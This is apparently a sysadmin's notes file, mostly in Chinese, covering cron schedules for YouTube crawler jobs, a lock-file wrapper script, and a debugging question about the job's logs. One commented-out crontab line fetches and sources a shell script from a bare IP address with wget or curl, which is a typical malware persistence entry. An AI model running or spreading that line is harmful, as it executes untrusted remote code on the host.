62 lines
3.1 KiB
Plaintext
62 lines
3.1 KiB
Plaintext
crontab -l
|
||
|
||
crontab -e
|
||
|
||
*/1 * * * * bash /data/webapps/prod_yt_search_crawler/cron_run_yt_search_crawler.sh
|
||
|
||
0 10 * * * /data/webapps/test_yt_data_update/scripts/run_update_yt.sh >> /data/webapps/test_yt_data_update/logs/cron_update_yt.log 2>&1
|
||
|
||
0 10 * * 1 /data/webapps/test_yt_data_update/scripts/run_update_yt_week.sh >> /data/webapps/test_yt_data_update/logs/cron_update_yt_week.log 2>&1
|
||
|
||
每10分支执行一次: */10 * * * * bash /data/webapps/yt_data_update/monitor_update_yt_day.sh
|
||
|
||
晚上8点执行一次: 0 20 * * * bash /data/webapps/prod_nano_crawler/cron_run_nano_crawler.sh
|
||
|
||
每天的 11:15 AM: 15 11 * * *
|
||
|
||
7 14 * * * bash /data/webapps/prod_nano_crawler/cron_run_nano_crawler.sh
|
||
|
||
|
||
### @daily source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh)
|
||
|
||
|
||
用 tee 重新启动（日志自动写入多个文件）：
|
||
nohup python async_yt.py | tee -a output.log > output_$(date +%Y%m%d).log 2>&1 &
|
||
|
||
|
||
1、这是我的定时任务：
|
||
0 10 * * * /data/webapps/test_yt_data_update/scripts/run_update_yt.sh >> /data/webapps/test_yt_data_update/logs/cron_update_yt.log 2>&1*
|
||
|
||
2、run_update_yt.shw文件：
|
||
#!/bin/bash
|
||
LOCKFILE="/tmp/update_yt.lock"
|
||
LOGFILE="/data/webapps/test_yt_data_update/logs/update_yt.log"
|
||
cd /data/webapps/test_yt_data_update/
|
||
if [ -e "$LOCKFILE" ]; then
|
||
echo "$(date): Task is already running, skipping." >> "$LOGFILE"
|
||
exit 1
|
||
fi
|
||
touch "$LOCKFILE"
|
||
source ~/.bashrc
|
||
conda activate py310
|
||
pip install -r requirements.txt
|
||
python update_yt.py >> "$LOGFILE" 2>&1
|
||
rm -f "$LOCKFILE"
|
||
|
||
3、经过一天发现有以下问题：
|
||
3.1、通过日志 update_yt.log 发现定时任务确实10点第一次启动运行脚本成功，但是后续没每分钟都执行一次，持续了一小时，我只需要它每天10点启动一次，以下是日志
|
||
- Active tasks: 11/12
|
||
- Queue sizes: video=0, channel=0
|
||
2025-04-11 10:00:06,880 - update_yt.py - INFO - Starting update tasks...
|
||
2025-04-11 10:00:09,125 - update_yt.py - INFO - aiohttp session initialized successfully
|
||
Fri Apr 11 10:01:01 CST 2025: Task is already running, skipping.
|
||
Fri Apr 11 10:02:01 CST 2025: Task is already running, skipping.
|
||
Fri Apr 11 10:03:01 CST 2025: Task is already running, skipping.
|
||
Fri Apr 11 10:04:01 CST 2025: Task is already running, skipping.
|
||
Fri Apr 11 10:05:01 CST 2025: Task is already running, skipping.
|
||
|
||
3.2、定时任务本身的日志cron_update_yt.log 太冗杂，且没有时间戳，分不清是什么时间的cron，也没有开始结束之类的日志提示，以下是日志，而且它每分钟执行一次导致它日志又60次相同的
|
||
Requirement already satisfied: PyMySQL==1.1.1 in /root/miniconda3/envs/py310/lib/python3.10/site-packages (from -r requirements.txt (line 13)) (1.1.1)
|
||
Requirement already satisfied: python-dotenv==1.0.1 in /root/miniconda3/envs/py310/lib/python3.10/site-packages (from -r requirements.txt (line 14)) (1.0.1)
|
||
Requirement already satisfied: typing_extensions==4.12.2 in /root/miniconda3/envs/py310/lib/python3.10/site-packages (from -r requirements.txt (line 15)) (4.12.2)
|
||
/data/webapps/test_yt_data_update/scripts/run_update_yt.sh: line 15: 30412 Killed python update_yt.py >> "$LOGFILE" 2>&1 |